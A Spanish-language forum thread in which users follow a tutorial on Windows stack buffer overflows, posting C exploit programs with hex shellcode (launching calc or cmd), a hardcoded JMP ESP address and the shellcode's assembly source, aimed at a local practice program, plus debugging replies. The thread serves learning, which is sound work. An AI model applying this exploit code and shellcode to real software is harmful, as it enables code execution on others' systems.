Autor
|
Tema: <-!-> Taller de Stack Overflows en Windows, por Rojodos (Leído 76,142 veces)
|
Crack_X
Anti-War
Ex-Staff
Desconectado
Mensajes: 2.322
Peace & Love
|
Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64
saludos
Veamos, si tienes un vaso de 64 cc o lo que quieras... y le hechas 64cc de agua, pues esta lleno pero no se sale el agua porque cupo perfectamente, es lo que aguanta. Si le hechas 100cc de agua a un vaso que solamente puede contener 64cc pues se desborda, se produce un overflow. El overflow es poner mas de lo que aguanta. El buffer es de 64, si le pones de mas pues se desborda.
|
|
|
En línea
|
|
|
|
M3st4ng
Desconectado
Mensajes: 58
|
Ok ya entendi todo es que me lie con los arrays de 64 y de 1024 jaja gracias por la ayuda
|
|
|
En línea
|
|
|
|
_Xerks_
Desconectado
Mensajes: 35
Díselo a mi brillante culo metálico.
|
Hola de nuevo, he cambiado la shellcode para que en lugar de devolvernos al cmd ejecute la calculadora de windows, es una tonteria, pero lo posteo sólo para jugar con el exploit viendo un resultado diferente. exploit_vuln1_calc.c #include <stdio.h> #include <stdlib.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xFB\x63\xC6\x45\xFC\x61\xC6\x45\xFD\x6C\xC6\x45\xFE\x63\x8D\x45\xFB\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
char offset[]="\xED\x1E\x95\x7C"; strcat(evilbuffer,offset); strcat(evilbuffer,shellcode); printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer);
argv[0] = "vuln1"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vuln1.exe",argv); } Un saludo.
|
|
|
En línea
|
|
|
|
Deka_10
Desconectado
Mensajes: 196
|
la pagina se ha muerto, lo vuelves a subir?
|
|
|
En línea
|
Islam != Terrorism
|
|
|
|
R41N-W4R3
Desconectado
Mensajes: 248
|
Hola, estoy realizando el exploit basico (gracias al texto de rojodos....impresionantemente bien explicado) y tengo el siguiente problema: Pego mi codigo antes de nada: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\xFF\xD3"; [b] //EL OFFSET TAMBIEN LO HE PUESTO BIEN (xC7\x93\xBF\x77) lo hago con el programa diceoffset [/b]
char offset[]="\x7C\x95\x1E\xED"; [b] //HE SACADO ESTO EN MI PC CON FINDJMP[/b] strcat(evilbuffer,offset); strcat(evilbuffer,shellcode); printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer);
argv[0] = "vulnerable"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vulnerable.exe",argv); }
El caso es que al ejecutarlo me peta diciendo: que la instruccion que hace referencia a una direccion de memoria no se puede read. Por otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se me genera el exe. Pego aki el codigo: #include <stdio.h> #include <windows.h>
void main () {
LoadLibrary("msvcrt.dll"); __asm{ push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov byte ptr [ebp-08h],63h mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h lea eax,[ebp-08h] push eax mov ebx,0x77bf93c7 call ebx } }
Saludos y gracias........
|
|
|
En línea
|
|
|
|
sirdarckcat
Aspirante a supervillano
Colaborador
Desconectado
Mensajes: 7.029
No estoy loco, soy mentalmente divergente
|
Tu error debe estar en la direccion del salto a JMP ESP.. pero.. porque pones el salto a JMP ESP al final del shellcode? :-/ lee otraves el tutorial de rojodos jeje Por otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se me genera el exe. si lo pudiste ejecutar, es porque ya se genero un exe. Saludos!!
|
|
|
En línea
|
|
|
|
R41N-W4R3
Desconectado
Mensajes: 248
|
En el compilador le doy a ejecutar y me abre la shell...pero aunke le de a build no me sale ningun shell.exe... cuando lo he ejecutado y pongo en la shell exit para cerrar la ventana msdos me sale el siguiente error: Debug error! program.... Module: File: i386\chkesp.c Line 42
the value of ESP was not properly saved across a function call............
De todas formas estoy empezando desde el principio... y releyendo el tuto.... Gracias por tu ayuda
|
|
|
En línea
|
|
|
|
gaby-EOF
Desconectado
Mensajes: 6
printf("\nit releases your mind");
|
exelente tu tutorial rojodos hasta ahora solo tenia una idea muy remota de lo que se tratava stack overflows ahora me quedo clarisimo. gracias
|
|
|
En línea
|
---------------->off line
|
|
|
Sha0
Desconectado
Mensajes: 17
Sehr gut !!
|
Hehe stack overflow es una tecnica muy antigua, alguien por aqui esta investigando como petar protecciones grsecurity, safe-SEH, kernel match protection, DEP, ASLR ... Voy a ir publicando algunas tecnicas en mi blog, os animo a seguir en el tema y meterle mucha caña a la protarmacion a bajo nivel. http://jolmos.blogspot.com
|
|
|
En línea
|
No intentes doblar la cuchara, eso es imposible. Solo intenta comprender la realidad ... que no hay cuchara. -- a hacker --
|
|
|
|
|